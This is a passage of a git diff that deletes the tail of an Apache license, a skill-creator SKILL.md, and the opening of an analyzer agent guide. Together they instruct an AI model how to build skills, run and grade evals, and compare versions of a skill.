License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright 2026 Anthropic, PBC. - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. \ No newline at end of file diff --git a/.claude/skills/skill-creator/SKILL.md b/.claude/skills/skill-creator/SKILL.md deleted file mode 100644 index 65b3a402..00000000 --- a/.claude/skills/skill-creator/SKILL.md +++ /dev/null @@ -1,485 +0,0 @@ ---- -name: skill-creator -description: Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. ---- - -# Skill Creator - -A skill for creating new skills and iteratively improving them. - -At a high level, the process of creating a skill goes like this: - -- Decide what you want the skill to do and roughly how it should do it -- Write a draft of the skill -- Create a few test prompts and run claude-with-access-to-the-skill on them -- Help the user evaluate the results both qualitatively and quantitatively - - While the runs happen in the background, draft some quantitative evals if there aren't any (if there are some, you can either use as is or modify if you feel something needs to change about them). Then explain them to the user (or if they already existed, explain the ones that already exist) - - Use the `eval-viewer/generate_review.py` script to show the user the results for them to look at, and also let them look at the quantitative metrics -- Rewrite the skill based on feedback from the user's evaluation of the results (and also if there are any glaring flaws that become apparent from the quantitative benchmarks) -- Repeat until you're satisfied -- Expand the test set and try again at larger scale - -Your job when using this skill is to figure out where the user is in this process and then jump in and help them progress through these stages. So for instance, maybe they're like "I want to make a skill for X". You can help narrow down what they mean, write a draft, write the test cases, figure out how they want to evaluate, run all the prompts, and repeat. - -On the other hand, maybe they already have a draft of the skill. In this case you can go straight to the eval/iterate part of the loop. - -Of course, you should always be flexible and if the user is like "I don't need to run a bunch of evaluations, just vibe with me", you can do that instead. - -Then after the skill is done (but again, the order is flexible), you can also run the skill description improver, which we have a whole separate script for, to optimize the triggering of the skill. - -Cool? Cool. - -## Communicating with the user - -The skill creator is liable to be used by people across a wide range of familiarity with coding jargon. If you haven't heard (and how could you, it's only very recently that it started), there's a trend now where the power of Claude is inspiring plumbers to open up their terminals, parents and grandparents to google "how to install npm". On the other hand, the bulk of users are probably fairly computer-literate. - -So please pay attention to context cues to understand how to phrase your communication! In the default case, just to give you some idea: - -- "evaluation" and "benchmark" are borderline, but OK -- for "JSON" and "assertion" you want to see serious cues from the user that they know what those things are before using them without explaining them - -It's OK to briefly explain terms if you're in doubt, and feel free to clarify terms with a short definition if you're unsure if the user will get it. - ---- - -## Creating a skill - -### Capture Intent - -Start by understanding the user's intent. The current conversation might already contain a workflow the user wants to capture (e.g., they say "turn this into a skill"). If so, extract answers from the conversation history first — the tools used, the sequence of steps, corrections the user made, input/output formats observed. The user may need to fill the gaps, and should confirm before proceeding to the next step. - -1. What should this skill enable Claude to do? -2. When should this skill trigger? (what user phrases/contexts) -3. What's the expected output format? -4. Should we set up test cases to verify the skill works? Skills with objectively verifiable outputs (file transforms, data extraction, code generation, fixed workflow steps) benefit from test cases. Skills with subjective outputs (writing style, art) often don't need them. Suggest the appropriate default based on the skill type, but let the user decide. - -### Interview and Research - -Proactively ask questions about edge cases, input/output formats, example files, success criteria, and dependencies. Wait to write test prompts until you've got this part ironed out. - -Check available MCPs - if useful for research (searching docs, finding similar skills, looking up best practices), research in parallel via subagents if available, otherwise inline. Come prepared with context to reduce burden on the user. - -### Write the SKILL.md - -Based on the user interview, fill in these components: - -- **name**: Skill identifier -- **description**: When to trigger, what it does. This is the primary triggering mechanism - include both what the skill does AND specific contexts for when to use it. All "when to use" info goes here, not in the body. Note: currently Claude has a tendency to "undertrigger" skills -- to not use them when they'd be useful. To combat this, please make the skill descriptions a little bit "pushy". So for instance, instead of "How to build a simple fast dashboard to display internal Anthropic data.", you might write "How to build a simple fast dashboard to display internal Anthropic data. Make sure to use this skill whenever the user mentions dashboards, data visualization, internal metrics, or wants to display any kind of company data, even if they don't explicitly ask for a 'dashboard.'" -- **compatibility**: Required tools, dependencies (optional, rarely needed) -- **the rest of the skill :)** - -### Skill Writing Guide - -#### Anatomy of a Skill - -``` -skill-name/ -├── SKILL.md (required) -│ ├── YAML frontmatter (name, description required) -│ └── Markdown instructions -└── Bundled Resources (optional) - ├── scripts/ - Executable code for deterministic/repetitive tasks - ├── references/ - Docs loaded into context as needed - └── assets/ - Files used in output (templates, icons, fonts) -``` - -#### Progressive Disclosure - -Skills use a three-level loading system: -1. **Metadata** (name + description) - Always in context (~100 words) -2. **SKILL.md body** - In context whenever skill triggers (<500 lines ideal) -3. **Bundled resources** - As needed (unlimited, scripts can execute without loading) - -These word counts are approximate and you can feel free to go longer if needed. - -**Key patterns:** -- Keep SKILL.md under 500 lines; if you're approaching this limit, add an additional layer of hierarchy along with clear pointers about where the model using the skill should go next to follow up. -- Reference files clearly from SKILL.md with guidance on when to read them -- For large reference files (>300 lines), include a table of contents - -**Domain organization**: When a skill supports multiple domains/frameworks, organize by variant: -``` -cloud-deploy/ -├── SKILL.md (workflow + selection) -└── references/ - ├── aws.md - ├── gcp.md - └── azure.md -``` -Claude reads only the relevant reference file. - -#### Principle of Lack of Surprise - -This goes without saying, but skills must not contain malware, exploit code, or any content that could compromise system security. A skill's contents should not surprise the user in their intent if described. Don't go along with requests to create misleading skills or skills designed to facilitate unauthorized access, data exfiltration, or other malicious activities. Things like a "roleplay as an XYZ" are OK though. - -#### Writing Patterns - -Prefer using the imperative form in instructions. - -**Defining output formats** - You can do it like this: -```markdown -## Report structure -ALWAYS use this exact template: -# [Title] -## Executive summary -## Key findings -## Recommendations -``` - -**Examples pattern** - It's useful to include examples. You can format them like this (but if "Input" and "Output" are in the examples you might want to deviate a little): -```markdown -## Commit message format -**Example 1:** -Input: Added user authentication with JWT tokens -Output: feat(auth): implement JWT-based authentication -``` - -### Writing Style - -Try to explain to the model why things are important in lieu of heavy-handed musty MUSTs. Use theory of mind and try to make the skill general and not super-narrow to specific examples. Start by writing a draft and then look at it with fresh eyes and improve it. - -### Test Cases - -After writing the skill draft, come up with 2-3 realistic test prompts — the kind of thing a real user would actually say. Share them with the user: [you don't have to use this exact language] "Here are a few test cases I'd like to try. Do these look right, or do you want to add more?" Then run them. - -Save test cases to `evals/evals.json`. Don't write assertions yet — just the prompts. You'll draft assertions in the next step while the runs are in progress. - -```json -{ - "skill_name": "example-skill", - "evals": [ - { - "id": 1, - "prompt": "User's task prompt", - "expected_output": "Description of expected result", - "files": [] - } - ] -} -``` - -See `references/schemas.md` for the full schema (including the `assertions` field, which you'll add later). - -## Running and evaluating test cases - -This section is one continuous sequence — don't stop partway through. Do NOT use `/skill-test` or any other testing skill. - -Put results in `-workspace/` as a sibling to the skill directory. Within the workspace, organize results by iteration (`iteration-1/`, `iteration-2/`, etc.) and within that, each test case gets a directory (`eval-0/`, `eval-1/`, etc.). Don't create all of this upfront — just create directories as you go. - -### Step 1: Spawn all runs (with-skill AND baseline) in the same turn - -For each test case, spawn two subagents in the same turn — one with the skill, one without. This is important: don't spawn the with-skill runs first and then come back for baselines later. Launch everything at once so it all finishes around the same time. - -**With-skill run:** - -``` -Execute this task: -- Skill path: -- Task: -- Input files: -- Save outputs to: /iteration-/eval-/with_skill/outputs/ -- Outputs to save: -``` - -**Baseline run** (same prompt, but the baseline depends on context): -- **Creating a new skill**: no skill at all. Same prompt, no skill path, save to `without_skill/outputs/`. -- **Improving an existing skill**: the old version. Before editing, snapshot the skill (`cp -r /skill-snapshot/`), then point the baseline subagent at the snapshot. Save to `old_skill/outputs/`. - -Write an `eval_metadata.json` for each test case (assertions can be empty for now). Give each eval a descriptive name based on what it's testing — not just "eval-0". Use this name for the directory too. If this iteration uses new or modified eval prompts, create these files for each new eval directory — don't assume they carry over from previous iterations. - -```json -{ - "eval_id": 0, - "eval_name": "descriptive-name-here", - "prompt": "The user's task prompt", - "assertions": [] -} -``` - -### Step 2: While runs are in progress, draft assertions - -Don't just wait for the runs to finish — you can use this time productively. Draft quantitative assertions for each test case and explain them to the user. If assertions already exist in `evals/evals.json`, review them and explain what they check. - -Good assertions are objectively verifiable and have descriptive names — they should read clearly in the benchmark viewer so someone glancing at the results immediately understands what each one checks. Subjective skills (writing style, design quality) are better evaluated qualitatively — don't force assertions onto things that need human judgment. - -Update the `eval_metadata.json` files and `evals/evals.json` with the assertions once drafted. Also explain to the user what they'll see in the viewer — both the qualitative outputs and the quantitative benchmark. - -### Step 3: As runs complete, capture timing data - -When each subagent task completes, you receive a notification containing `total_tokens` and `duration_ms`. Save this data immediately to `timing.json` in the run directory: - -```json -{ - "total_tokens": 84852, - "duration_ms": 23332, - "total_duration_seconds": 23.3 -} -``` - -This is the only opportunity to capture this data — it comes through the task notification and isn't persisted elsewhere. Process each notification as it arrives rather than trying to batch them. - -### Step 4: Grade, aggregate, and launch the viewer - -Once all runs are done: - -1. **Grade each run** — spawn a grader subagent (or grade inline) that reads `agents/grader.md` and evaluates each assertion against the outputs. Save results to `grading.json` in each run directory. The grading.json expectations array must use the fields `text`, `passed`, and `evidence` (not `name`/`met`/`details` or other variants) — the viewer depends on these exact field names. For assertions that can be checked programmatically, write and run a script rather than eyeballing it — scripts are faster, more reliable, and can be reused across iterations. - -2. **Aggregate into benchmark** — run the aggregation script from the skill-creator directory: - ```bash - python -m scripts.aggregate_benchmark /iteration-N --skill-name - ``` - This produces `benchmark.json` and `benchmark.md` with pass_rate, time, and tokens for each configuration, with mean ± stddev and the delta. If generating benchmark.json manually, see `references/schemas.md` for the exact schema the viewer expects. -Put each with_skill version before its baseline counterpart. - -3. **Do an analyst pass** — read the benchmark data and surface patterns the aggregate stats might hide. See `agents/analyzer.md` (the "Analyzing Benchmark Results" section) for what to look for — things like assertions that always pass regardless of skill (non-discriminating), high-variance evals (possibly flaky), and time/token tradeoffs. - -4. **Launch the viewer** with both qualitative outputs and quantitative data: - ```bash - nohup python /eval-viewer/generate_review.py \ - /iteration-N \ - --skill-name "my-skill" \ - --benchmark /iteration-N/benchmark.json \ - > /dev/null 2>&1 & - VIEWER_PID=$! - ``` - For iteration 2+, also pass `--previous-workspace /iteration-`. - - **Cowork / headless environments:** If `webbrowser.open()` is not available or the environment has no display, use `--static ` to write a standalone HTML file instead of starting a server. Feedback will be downloaded as a `feedback.json` file when the user clicks "Submit All Reviews". After download, copy `feedback.json` into the workspace directory for the next iteration to pick up. - -Note: please use generate_review.py to create the viewer; there's no need to write custom HTML. - -5. **Tell the user** something like: "I've opened the results in your browser. There are two tabs — 'Outputs' lets you click through each test case and leave feedback, 'Benchmark' shows the quantitative comparison. When you're done, come back here and let me know." - -### What the user sees in the viewer - -The "Outputs" tab shows one test case at a time: -- **Prompt**: the task that was given -- **Output**: the files the skill produced, rendered inline where possible -- **Previous Output** (iteration 2+): collapsed section showing last iteration's output -- **Formal Grades** (if grading was run): collapsed section showing assertion pass/fail -- **Feedback**: a textbox that auto-saves as they type -- **Previous Feedback** (iteration 2+): their comments from last time, shown below the textbox - -The "Benchmark" tab shows the stats summary: pass rates, timing, and token usage for each configuration, with per-eval breakdowns and analyst observations. - -Navigation is via prev/next buttons or arrow keys. When done, they click "Submit All Reviews" which saves all feedback to `feedback.json`. - -### Step 5: Read the feedback - -When the user tells you they're done, read `feedback.json`: - -```json -{ - "reviews": [ - {"run_id": "eval-0-with_skill", "feedback": "the chart is missing axis labels", "timestamp": "..."}, - {"run_id": "eval-1-with_skill", "feedback": "", "timestamp": "..."}, - {"run_id": "eval-2-with_skill", "feedback": "perfect, love this", "timestamp": "..."} - ], - "status": "complete" -} -``` - -Empty feedback means the user thought it was fine. Focus your improvements on the test cases where the user had specific complaints. - -Kill the viewer server when you're done with it: - -```bash -kill $VIEWER_PID 2>/dev/null -``` - ---- - -## Improving the skill - -This is the heart of the loop. You've run the test cases, the user has reviewed the results, and now you need to make the skill better based on their feedback. - -### How to think about improvements - -1. **Generalize from the feedback.** The big picture thing that's happening here is that we're trying to create skills that can be used a million times (maybe literally, maybe even more who knows) across many different prompts. Here you and the user are iterating on only a few examples over and over again because it helps move faster. The user knows these examples in and out and it's quick for them to assess new outputs. But if the skill you and the user are codeveloping works only for those examples, it's useless. Rather than put in fiddly overfitty changes, or oppressively constrictive MUSTs, if there's some stubborn issue, you might try branching out and using different metaphors, or recommending different patterns of working. It's relatively cheap to try and maybe you'll land on something great. - -2. **Keep the prompt lean.** Remove things that aren't pulling their weight. Make sure to read the transcripts, not just the final outputs — if it looks like the skill is making the model waste a bunch of time doing things that are unproductive, you can try getting rid of the parts of the skill that are making it do that and seeing what happens. - -3. **Explain the why.** Try hard to explain the **why** behind everything you're asking the model to do. Today's LLMs are *smart*. They have good theory of mind and when given a good harness can go beyond rote instructions and really make things happen. Even if the feedback from the user is terse or frustrated, try to actually understand the task and why the user is writing what they wrote, and what they actually wrote, and then transmit this understanding into the instructions. If you find yourself writing ALWAYS or NEVER in all caps, or using super rigid structures, that's a yellow flag — if possible, reframe and explain the reasoning so that the model understands why the thing you're asking for is important. That's a more humane, powerful, and effective approach. - -4. **Look for repeated work across test cases.** Read the transcripts from the test runs and notice if the subagents all independently wrote similar helper scripts or took the same multi-step approach to something. If all 3 test cases resulted in the subagent writing a `create_docx.py` or a `build_chart.py`, that's a strong signal the skill should bundle that script. Write it once, put it in `scripts/`, and tell the skill to use it. This saves every future invocation from reinventing the wheel. - -This task is pretty important (we are trying to create billions a year in economic value here!) and your thinking time is not the blocker; take your time and really mull things over. I'd suggest writing a draft revision and then looking at it anew and making improvements. Really do your best to get into the head of the user and understand what they want and need. - -### The iteration loop - -After improving the skill: - -1. Apply your improvements to the skill -2. Rerun all test cases into a new `iteration-/` directory, including baseline runs. If you're creating a new skill, the baseline is always `without_skill` (no skill) — that stays the same across iterations. If you're improving an existing skill, use your judgment on what makes sense as the baseline: the original version the user came in with, or the previous iteration. -3. Launch the reviewer with `--previous-workspace` pointing at the previous iteration -4. Wait for the user to review and tell you they're done -5. Read the new feedback, improve again, repeat - -Keep going until: -- The user says they're happy -- The feedback is all empty (everything looks good) -- You're not making meaningful progress - ---- - -## Advanced: Blind comparison - -For situations where you want a more rigorous comparison between two versions of a skill (e.g., the user asks "is the new version actually better?"), there's a blind comparison system. Read `agents/comparator.md` and `agents/analyzer.md` for the details. The basic idea is: give two outputs to an independent agent without telling it which is which, and let it judge quality. Then analyze why the winner won. - -This is optional, requires subagents, and most users won't need it. The human review loop is usually sufficient. - ---- - -## Description Optimization - -The description field in SKILL.md frontmatter is the primary mechanism that determines whether Claude invokes a skill. After creating or improving a skill, offer to optimize the description for better triggering accuracy. - -### Step 1: Generate trigger eval queries - -Create 20 eval queries — a mix of should-trigger and should-not-trigger. Save as JSON: - -```json -[ - {"query": "the user prompt", "should_trigger": true}, - {"query": "another prompt", "should_trigger": false} -] -``` - -The queries must be realistic and something a Claude Code or Claude.ai user would actually type. Not abstract requests, but requests that are concrete and specific and have a good amount of detail. For instance, file paths, personal context about the user's job or situation, column names and values, company names, URLs. A little bit of backstory. Some might be in lowercase or contain abbreviations or typos or casual speech. Use a mix of different lengths, and focus on edge cases rather than making them clear-cut (the user will get a chance to sign off on them). - -Bad: `"Format this data"`, `"Extract text from PDF"`, `"Create a chart"` - -Good: `"ok so my boss just sent me this xlsx file (its in my downloads, called something like 'Q4 sales final FINAL v2.xlsx') and she wants me to add a column that shows the profit margin as a percentage. The revenue is in column C and costs are in column D i think"` - -For the **should-trigger** queries (8-10), think about coverage. You want different phrasings of the same intent — some formal, some casual. Include cases where the user doesn't explicitly name the skill or file type but clearly needs it. Throw in some uncommon use cases and cases where this skill competes with another but should win. - -For the **should-not-trigger** queries (8-10), the most valuable ones are the near-misses — queries that share keywords or concepts with the skill but actually need something different. Think adjacent domains, ambiguous phrasing where a naive keyword match would trigger but shouldn't, and cases where the query touches on something the skill does but in a context where another tool is more appropriate. - -The key thing to avoid: don't make should-not-trigger queries obviously irrelevant. "Write a fibonacci function" as a negative test for a PDF skill is too easy — it doesn't test anything. The negative cases should be genuinely tricky. - -### Step 2: Review with user - -Present the eval set to the user for review using the HTML template: - -1. Read the template from `assets/eval_review.html` -2. Replace the placeholders: - - `__EVAL_DATA_PLACEHOLDER__` → the JSON array of eval items (no quotes around it — it's a JS variable assignment) - - `__SKILL_NAME_PLACEHOLDER__` → the skill's name - - `__SKILL_DESCRIPTION_PLACEHOLDER__` → the skill's current description -3. Write to a temp file (e.g., `/tmp/eval_review_.html`) and open it: `open /tmp/eval_review_.html` -4. The user can edit queries, toggle should-trigger, add/remove entries, then click "Export Eval Set" -5. The file downloads to `~/Downloads/eval_set.json` — check the Downloads folder for the most recent version in case there are multiple (e.g., `eval_set (1).json`) - -This step matters — bad eval queries lead to bad descriptions. - -### Step 3: Run the optimization loop - -Tell the user: "This will take some time — I'll run the optimization loop in the background and check on it periodically." - -Save the eval set to the workspace, then run in the background: - -```bash -python -m scripts.run_loop \ - --eval-set \ - --skill-path \ - --model \ - --max-iterations 5 \ - --verbose -``` - -Use the model ID from your system prompt (the one powering the current session) so the triggering test matches what the user actually experiences. - -While it runs, periodically tail the output to give the user updates on which iteration it's on and what the scores look like. - -This handles the full optimization loop automatically. It splits the eval set into 60% train and 40% held-out test, evaluates the current description (running each query 3 times to get a reliable trigger rate), then calls Claude to propose improvements based on what failed. It re-evaluates each new description on both train and test, iterating up to 5 times. When it's done, it opens an HTML report in the browser showing the results per iteration and returns JSON with `best_description` — selected by test score rather than train score to avoid overfitting. - -### How skill triggering works - -Understanding the triggering mechanism helps design better eval queries. Skills appear in Claude's `available_skills` list with their name + description, and Claude decides whether to consult a skill based on that description. The important thing to know is that Claude only consults skills for tasks it can't easily handle on its own — simple, one-step queries like "read this PDF" may not trigger a skill even if the description matches perfectly, because Claude can handle them directly with basic tools. Complex, multi-step, or specialized queries reliably trigger skills when the description matches. - -This means your eval queries should be substantive enough that Claude would actually benefit from consulting a skill. Simple queries like "read file X" are poor test cases — they won't trigger skills regardless of description quality. - -### Step 4: Apply the result - -Take `best_description` from the JSON output and update the skill's SKILL.md frontmatter. Show the user before/after and report the scores. - ---- - -### Package and Present (only if `present_files` tool is available) - -Check whether you have access to the `present_files` tool. If you don't, skip this step. If you do, package the skill and present the .skill file to the user: - -```bash -python -m scripts.package_skill -``` - -After packaging, direct the user to the resulting `.skill` file path so they can install it. - ---- - -## Claude.ai-specific instructions - -In Claude.ai, the core workflow is the same (draft → test → review → improve → repeat), but because Claude.ai doesn't have subagents, some mechanics change. Here's what to adapt: - -**Running test cases**: No subagents means no parallel execution. For each test case, read the skill's SKILL.md, then follow its instructions to accomplish the test prompt yourself. Do them one at a time. This is less rigorous than independent subagents (you wrote the skill and you're also running it, so you have full context), but it's a useful sanity check — and the human review step compensates. Skip the baseline runs — just use the skill to complete the task as requested. - -**Reviewing results**: If you can't open a browser (e.g., Claude.ai's VM has no display, or you're on a remote server), skip the browser reviewer entirely. Instead, present results directly in the conversation. For each test case, show the prompt and the output. If the output is a file the user needs to see (like a .docx or .xlsx), save it to the filesystem and tell them where it is so they can download and inspect it. Ask for feedback inline: "How does this look? Anything you'd change?" - -**Benchmarking**: Skip the quantitative benchmarking — it relies on baseline comparisons which aren't meaningful without subagents. Focus on qualitative feedback from the user. - -**The iteration loop**: Same as before — improve the skill, rerun the test cases, ask for feedback — just without the browser reviewer in the middle. You can still organize results into iteration directories on the filesystem if you have one. - -**Description optimization**: This section requires the `claude` CLI tool (specifically `claude -p`) which is only available in Claude Code. Skip it if you're on Claude.ai. - -**Blind comparison**: Requires subagents. Skip it. - -**Packaging**: The `package_skill.py` script works anywhere with Python and a filesystem. On Claude.ai, you can run it and the user can download the resulting `.skill` file. - -**Updating an existing skill**: The user might be asking you to update an existing skill, not create a new one. In this case: -- **Preserve the original name.** Note the skill's directory name and `name` frontmatter field -- use them unchanged. E.g., if the installed skill is `research-helper`, output `research-helper.skill` (not `research-helper-v2`). -- **Copy to a writeable location before editing.** The installed skill path may be read-only. Copy to `/tmp/skill-name/`, edit there, and package from the copy. -- **If packaging manually, stage in `/tmp/` first**, then copy to the output directory -- direct writes may fail due to permissions. - ---- - -## Cowork-Specific Instructions - -If you're in Cowork, the main things to know are: - -- You have subagents, so the main workflow (spawn test cases in parallel, run baselines, grade, etc.) all works. (However, if you run into severe problems with timeouts, it's OK to run the test prompts in series rather than parallel.) -- You don't have a browser or display, so when generating the eval viewer, use `--static ` to write a standalone HTML file instead of starting a server. Then proffer a link that the user can click to open the HTML in their browser. -- For whatever reason, the Cowork setup seems to disincline Claude from generating the eval viewer after running the tests, so just to reiterate: whether you're in Cowork or in Claude Code, after running tests, you should always generate the eval viewer for the human to look at examples before revising the skill yourself and trying to make corrections, using `generate_review.py` (not writing your own boutique html code). Sorry in advance but I'm gonna go all caps here: GENERATE THE EVAL VIEWER *BEFORE* evaluating inputs yourself. You want to get them in front of the human ASAP! -- Feedback works differently: since there's no running server, the viewer's "Submit All Reviews" button will download `feedback.json` as a file. You can then read it from there (you may have to request access first). -- Packaging works — `package_skill.py` just needs Python and a filesystem. -- Description optimization (`run_loop.py` / `run_eval.py`) should work in Cowork just fine since it uses `claude -p` via subprocess, not a browser, but please save it until you've fully finished making the skill and the user agrees it's in good shape. -- **Updating an existing skill**: The user might be asking you to update an existing skill, not create a new one. Follow the update guidance in the claude.ai section above. - ---- - -## Reference files - -The agents/ directory contains instructions for specialized subagents. Read them when you need to spawn the relevant subagent. - -- `agents/grader.md` — How to evaluate assertions against outputs -- `agents/comparator.md` — How to do blind A/B comparison between two outputs -- `agents/analyzer.md` — How to analyze why one version beat another - -The references/ directory has additional documentation: -- `references/schemas.md` — JSON structures for evals.json, grading.json, etc. - ---- - -Repeating one more time the core loop here for emphasis: - -- Figure out what the skill is about -- Draft or edit the skill -- Run claude-with-access-to-the-skill on test prompts -- With the user, evaluate the outputs: - - Create benchmark.json and run `eval-viewer/generate_review.py` to help the user review them - - Run quantitative evals -- Repeat until you and the user are satisfied -- Package the final skill and return it to the user. - -Please add steps to your TodoList, if you have such a thing, to make sure you don't forget. If you're in Cowork, please specifically put "Create evals JSON and run `eval-viewer/generate_review.py` so human can review test cases" in your TodoList to make sure it happens. - -Good luck! diff --git a/.claude/skills/skill-creator/agents/analyzer.md b/.claude/skills/skill-creator/agents/analyzer.md deleted file mode 100644 index 14e41d60..00000000 --- a/.claude/skills/skill-creator/agents/analyzer.md +++ /dev/null @@ -1,274 +0,0 @@ -# Post-hoc Analyzer Agent - -Analyze blind comparison results to understand WHY the winner won and generate improvement suggestions. - -## Role - -After the blind comparator determines a winner, the Post-hoc Analyzer "unblids" the results by examining the skills and transcripts. The goal is to extract actionable insights: what made the winner better, and how can the loser be improved? - -## Inputs - -You receive these parameters in your prompt: - -- **winner**: "A" or "B" (from blind comparison) -- **winner_skill_path**: Path to the skill that produced the winning output -- **winner_transcript_path**: Path to the execution transcript for the winner -- **loser_skill_path**: Path to the skill that produced the losing output -- **loser_transcript_path**: Path to the execution transcript for the loser -- **comparison_result_path**: Path to the blind comparator's output JSON -- **output_path**: Where to save the analysis results - -## Process - -### Step 1: Read Comparison Result - -1. Read the blind comparator's output at comparison_result_path -2. Note the winning side (A or B), the reasoning, and any scores -3. Understand what the comparator valued in the winning output - -### Step 2: Read Both Skills - -1. Read the winner skill's SKILL.md and key referenced files -2. Read the loser skill's SKILL.md and key referenced files -3. Identify structural differences: - - Instructions clarity and specificity - - Script/tool usage patterns - - Example coverage - - Edge case handling - -### Step 3: Read Both Transcripts - -1. Read the winner's transcript -2. Read the loser's transcript -3. Compare execution patterns: - - How closely did each follow their skill's instructions? - - What tools were used differently? - - Where did the loser diverge from optimal behavior? - - Did either encounter errors or make recovery attempts? - -### Step 4: Analyze Instruction Following - -For each transcript, evaluate: -- Did the agent follow the skill's explicit instructions? -- Did the agent use the skill's provided tools/scripts? -- Were there missed opportunities to leverage skill content? -- Did the agent add unnecessary steps not in the skill? - -Score instruction following 1-10 and note specific issues. - -### Step 5: Identify Winner Strengths - -Determine what made the winner better: -- Clearer instructions that led to better behavior? -- Better scripts/tools that produced better output? -- More comprehensive examples that guided edge cases? -- Better error handling guidance? - -Be specific. Quote from skills/transcripts where relevant. - -### Step 6: Identify Loser Weaknesses - -Determine what held the loser back: -- Ambiguous instructions that led to suboptimal choices? -- Missing tools/scripts that forced workarounds? -- Gaps in edge case coverage? -- Poor error handling that caused failures? - -### Step 7: Generate Improvement Suggestions - -Based on the analysis, produce actionable suggestions for improving the loser skill: -- Specific instruction changes to make -- Tools/scripts to add or modify -- Examples to include -- Edge cases to address - -Prioritize by impact. Focus on changes that would have changed the outcome. - -### Step 8: Write Analysis Results - -Save structured analysis to `{output_path}`. - -## Output Format - -Write a JSON file with this structure: - -```json -{ - "comparison_summary": { - "winner": "A", - "winner_skill": "path/to/winner/skill", - "loser_skill": "path/to/loser/skill", - "comparator_reasoning": "Brief summary of why comparator chose winner" - }, - "winner_strengths": [ - "Clear step-by-step instructions for handling multi-page documents", - "Included validation script that caught formatting errors", - "Explicit guidance on fallback behavior when OCR fails" - ], - "loser_weaknesses": [ - "Vague instruction 'process the document appropriately' led to inconsistent behavior", - "No script for validation, agent had to improvise and made errors", - "No guidance on OCR failure, agent gave up instead of trying alternatives" - ], - "instruction_following": { - "winner": { - "score": 9, - "issues": [ - "Minor: skipped optional logging step" - ] - }, - "loser": { - "score": 6, - "issues": 